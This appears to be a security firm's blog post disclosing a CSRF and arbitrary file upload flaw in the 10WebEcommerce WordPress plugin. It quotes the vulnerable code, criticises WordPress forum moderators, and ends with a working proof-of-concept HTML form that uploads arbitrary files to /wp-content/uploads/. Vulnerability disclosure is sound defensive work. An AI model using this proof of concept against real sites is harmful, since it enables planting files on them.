Our Proactive Monitoring Caught a CSRF/Arbitrary File Upload Vulnerability in One of 10Web’s Plugins
One way we help to improve the security of WordPress plugins, not just for our customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that we caught a cross-site request forgery (CSRF)/arbitrary file upload vulnerability in the plugin 10WebEcommerce. The developer of that plugin, 10Web, also offers what they claim is the “Most Trustable WordPress Security Service”, despite this not being the first time we have run in to a vulenrability in one of their plugins recently.
The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool.
The vulnerability exists because of multiple security checks being missing.
The plugin registers the function wde_ajax() to accessible through WordPress’ AJAX functionality to anyone logged in to WordPress:
125 | add_action('wp_ajax_wde_ajax', 'wde_ajax'); |
That function, located in the file /ecommerce-wd.php, first restricts access to the rest of its code to users with the manage_options capability, so Administrators, and then calls other functions based on other information sent with the request:
127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 | function wde_ajax() { if (function_exists('current_user_can')) { if (!current_user_can('manage_options')) { die('Access Denied'); } } else { die('Access Denied'); } // Fix for json functions for older versions of php. Function is decleared in WDFJson.php. set_error_handler('wdf_json_error_handler'); // Prepare framework. require_once WD_E_DIR . DS . 'framework' . DS . 'WDFHelper.php'; WDFHelper::init(); require_once WD_E_DIR . DS . 'framework' . DS . 'WDFToolbar.php'; // Print order. require_once WD_E_DIR . DS . 'helpers' . DS . 'order.php'; $controller = WDFHelper::get_controller(); $task = WDFInput::get_task(); $controller->execute($task); die(); } |
What is missing there or elsewhere in the relevant code is a nonce check to prevent cross-site request forgery (CSRF), so an attacker could cause a logged in Administrator to take action they didn’t intend.
For this vulnerability, the function that gets called is import_taxes() in the file /admin/controllers/taxes.php. That function will upload a file to the /wp-content/uploads/ without any restrictions on what type of file is being uploaded, despite the next code only running if the file has a .csv extension:
5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | public function import_taxes() { $id = WDFInput::get("tag_ID"); if ($id) { if ( 0 < $_FILES['file']['error'] ) { echo 'Error: ' . $_FILES['file']['error']; die(); } $upload = wp_upload_dir(); $uplad_dir = (isset($upload['basedir']) ? $upload['basedir'] : WD_E_DIR) . DS; $base_name = basename($_FILES['file']["name"]); $file_path = $uplad_dir . $base_name; $uploaded = move_uploaded_file($_FILES['file']['tmp_name'], $file_path); if ($uploaded) { $tax_rates = array(); $imageFileType = pathinfo($file_path, PATHINFO_EXTENSION); if ($imageFileType == 'csv') { |
WordPress Causes Full Disclosure
Because of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.) You can notify the developer of this issue on the forum as well. Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will upload the contents of the specified file sent to the directory /wp-content/uploads/, when logged in to WordPress.
Replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=wde_ajax&page=wde_taxes&task=import_taxes&tag_ID=1" enctype="multipart/form-data" method="POST"> <input type="file" name="file" /> <input type="submit" value="Submit" /> </form> </body>